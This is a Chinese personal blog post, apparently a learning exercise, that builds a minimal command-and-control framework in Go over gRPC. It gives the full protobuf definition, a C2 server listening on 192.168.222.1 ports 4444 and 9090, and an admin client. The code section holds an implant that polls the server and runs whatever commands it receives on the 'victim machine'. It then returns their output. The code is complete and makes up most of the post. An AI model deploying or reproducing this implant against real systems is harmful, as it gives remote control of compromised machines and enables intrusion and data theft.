近况:
清明假期第二天、还有些昨天哪些负面情绪😢。很难受,也很累
昨天发现自己在写东西的时候,可以让自己的暂时忽略掉这种负面情绪。
前几天chromos2me分享了一个新的C2框架,然后就想到了去年年底给chromos2me说过的要写一个极其简单的C2来着。 一直没写来着,今天趁机写了顺便放松一下自己吧。。。。。:smile:
🔍什么是C2?
C2即Command and Control
C2服务器的概念基于命令和控制模型。攻击者扮演指挥官的角色,而受感染的设备则充当实现攻击者恶意命令的棋子
C2服务器充当攻击者和受感染设备之间通信的桥梁。出金各方之间的双向通信以及数据的传输
远控木马RAT
RAT(Remote Access Trojan)是攻击者用来在受感染的计算机上远程执行操作的工具。

🔍什么是RPC?
RPC(Remote Procedure Call) 远程过程调用:
它是一种计算机通信协议。 允许程序在一个计算机上面调用另一个函数
从本地函数调用来说,我们在程序中调用一个函数。比如: add(2,3)
,程序会跳转到add()
函数的定义去执行,然后返回结果。这个过程发生在我们自己的计算机上,也是你的程序内部
而远程过程调用则是我们像平时那样调用函数一样去调用它。它会自动将请求发送给远程服务器。执行之后返回结果。 这个观察没有发生在我们自己的计算机上面。
🔍什么是gRPC
gRPC是Google开发的一个现代化的RPC框架。是一个
:white_check_mark: “一个更快、更强、更智能的RPC工具“。 😊
特性 |
gRPC |
🔄 通信协议 |
用的是 HTTP/2 |
📦 数据格式 |
用的是 Protocol Buffers(protobuf) |
🧠 多语言支持 |
支持 Python、Go、Java、C++ 等十几种语言 |
🚰 支持流式通信 |
不只是请求-响应,还可以实时双向传输数据 |
🛡 安全 & 验证 |
内建支持 TLS,加密传输 |
🎯代码
项目结构
1 2 3 4 5 6 7 8 9 10 11 12
| C2_by_Yliken_in_20250405 ├── client │ └── client.go ├── grpcapi │ └── implant.proto ├── implant │ └── implant.go ├── main.go ├── server │ └── server.go ├── go.mod └── go.sum
|
📌定义和构建gRPC API
使用Protobuf 定义 gRPC API
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| syntax = "proto3"; package grpcapi; option go_package = "./";
service Implant { rpc FetchCommand(Empty) returns (Command); rpc SendOutput (Command) returns (Empty); }
service Admin{ rpc RunCommand (Command) returns(Command); }
message Command{ string In = 1; string Out = 2; }
message Empty{ }
|
message
名称以及他的字段名称可以随便取、Protobuf不强制要求具体名称。但是message
的的每一个字段必须分配一个唯一的数字。这些数字用于在序列化后的二进制数据中标识字段。而不是字段的值 同时这也是下面这个问题的答案
为什么字段 In
和Out
的数据类型是字符串,后面缺跟着数字?
答:
- 这些数字不是子弹的值,而是字段的编号。Protobuf使用这些编号来区分消息中的字段。而不是直接使用字段名来区分
- 这些代码只是
.proto
文件的一个模式定义,只描述数据结构,不涉及具体实现或者赋值。实际赋值是在代码中完成的。
Empty
这个消息中不包含任何字段。可以将其理解为null
,即为空.
为什么要这样定义一个message类型呢?
答:
- 事实上,Protobuf不支持直接传递
null
或者空值给RPC方法(比如 : rpc SomeMethod(Null) returns (Null)
。这种写法是错误的)
- 因此定义一个空message类型来绕过这种限制
在编写好.proto
文件之后,使用protoc -I . --go_out=. --go-grpc_out=. implant.proto
将.proto
文件转换为Go语言代码
protoc
- 这是
Protocol Buffers
编译器的可执行文件。它负责读取.proto
文件并生成目标语言代码。
-I .
-I
是--proto_path
的缩写,表示指定.proto
文件的搜索路径。这里执行搜索路径是.
.
表示当前目录
--go_out=./
--go_out
是一个标志,告诉protoc
生Go语言代码,并指定输出目录
./
表示将生成的代码输出到当前目录
- 这个选项需要
protoc-gen-go
插件的支持。
--go-grpc_out=.
--go-grpc_out
参数用于指定生成的gRPC代码的输出目录。
.
同样表示当前目录
- 这个参数会为
.proto
文件中的服务定义生成 gRPC 相关的代码,比如服务的客户端和服务器端的接口。
implant.proto
命令执行以后会生成一个implant.pb.go
与implant_grpc.pb.go
文件
1 2 3 4
| grpcapi/ ├── implant_grpc.pb.go ├── implant.pb.go └── implant.proto
|
📌创建服务器
编写server.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| package main
import ( "C2_by_Yliken_in_20250405/grpcapi" "context" "errors" "fmt" "google.golang.org/grpc" "log" "net" )
type implantServer struct { grpcapi.UnimplementedImplantServer work, output chan *grpcapi.Command } type adminServer struct { grpcapi.UnimplementedAdminServer work, output chan *grpcapi.Command }
func NewImplantServer(work, output chan *grpcapi.Command) *implantServer { s := new(implantServer) s.work = work s.output = output return s }
func NewAdminServer(work, output chan *grpcapi.Command) *adminServer { s := new(adminServer) s.work = work s.output = output return s }
func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) { var cmd = new(grpcapi.Command) select { case cmd, ok := <-s.work: if ok { return cmd, nil } return cmd, errors.New("work closed") default: return cmd, nil } }
func (s *implantServer) SendOutput(ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) { s.output <- result return &grpcapi.Empty{}, nil } func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error) { var res *grpcapi.Command go func() { s.work <- cmd }() res = <-s.output return res, nil }
func main() {
var ( implanrListener, adminListener net.Listener err error opts []grpc.ServerOption work, output chan *grpcapi.Command ) work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command)
implant := NewImplantServer(work, output) admin := NewAdminServer(work, output) if implanrListener, err = net.Listen("tcp", fmt.Sprintf("192.168.222.1:%d", 4444)); err != nil { log.Fatal(err) } if adminListener, err = net.Listen("tcp", fmt.Sprintf("192.168.222.1:%d", 9090)); err != nil { log.Fatal(err) } grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...) grpcapi.RegisterImplantServer(grpcImplantServer, implant) grpcapi.RegisterAdminServer(grpcAdminServer, admin)
go func() { grpcImplantServer.Serve(implanrListener) }() grpcAdminServer.Serve(adminListener)
}
|
写这个server.go的时候可能会出现一个无法导入grpcapi
包中的方法的问题。
implantServer
用于从work
通道中 非阻塞的获取命令。
SendOutput
则将命令执行的结果发送到output
通道。
RunCommand
将命令发送到work通道,然后在output通道中等待处理结果
main
方法主要功能
- 初始化 gRPC 服务器和相应的 TCP 监听器
- 注册处理命令的服务(
implantServer
和 adminServer
)
- 启动服务器并开始接收和处理客户端请求,从而提供命令的获取和执行功能。
📌客户端植入程序
编写implant.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| package main
import ( "C2_by_Yliken_in_20250405/grpcapi" "context" "fmt" "google.golang.org/grpc" "log" "os/exec" "strings" "time" )
func main() { var ( opts []grpc.DialOption conn *grpc.ClientConn err error client grpcapi.ImplantClient )
opts = append(opts, grpc.WithInsecure())
if conn, err = grpc.Dial(fmt.Sprintf("192.168.222.1:%d", 4444), opts...); err != nil { log.Fatal(err) } defer conn.Close() client = grpcapi.NewImplantClient(conn) ctx := context.Background() for { var req = new(grpcapi.Empty) cmd, err := client.FetchCommand(ctx, req) if err != nil { log.Fatal(err) }
if cmd.In == "" { time.Sleep(3 * time.Second) continue }
tokens := strings.Split(cmd.In, " ") var c *exec.Cmd if len(tokens) == 1 { c = exec.Command(tokens[0]) } else { c = exec.Command(tokens[0], tokens[1:]...) } buf, err := c.CombinedOutput() if err != nil { cmd.Out = err.Error() } cmd.Out += string(buf) client.SendOutput(ctx, cmd) }
}
|
这段代码实现了一个简单的植入客户端,它可以:
- 持续与远程 C2 服务器保持连接;
- 接收远程发送的命令;
- 在本地执行命令;
- 将输出结果发送回服务器。
📌构建管理组件
编写client.go
client.go也是管理客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| package main
import ( "C2_by_Yliken_in_20250405/grpcapi" "context" "fmt" "google.golang.org/grpc" "log" "os" )
func main() { var ( opts []grpc.DialOption conn *grpc.ClientConn err error client grpcapi.AdminClient ) opts = append(opts, grpc.WithInsecure())
if conn, err = grpc.Dial(fmt.Sprintf("192.168.222.1:%d", 9090), opts...); err != nil { log.Fatal(err) } defer conn.Close() client = grpcapi.NewAdminClient(conn) var cmd = new(grpcapi.Command) cmd.In = os.Args[1] ctx := context.Background() cmd, err = client.RunCommand(ctx, cmd) if err != nil { log.Fatal(err) } fmt.Println(cmd.Out) }
|
因为本文只是编写一个最简单的框架。这个client模块也写的很单一。client只能在运行的时候接收一次命令参数。不是交互形式
💻测试
在您开始测试您的代码之前 请确保您的ip地址以及端口都配置正确
运行server.go
文件之后 ,在受害机器上面运行implant.go
之后
运行 client.go
然后再传入想要执行的命令
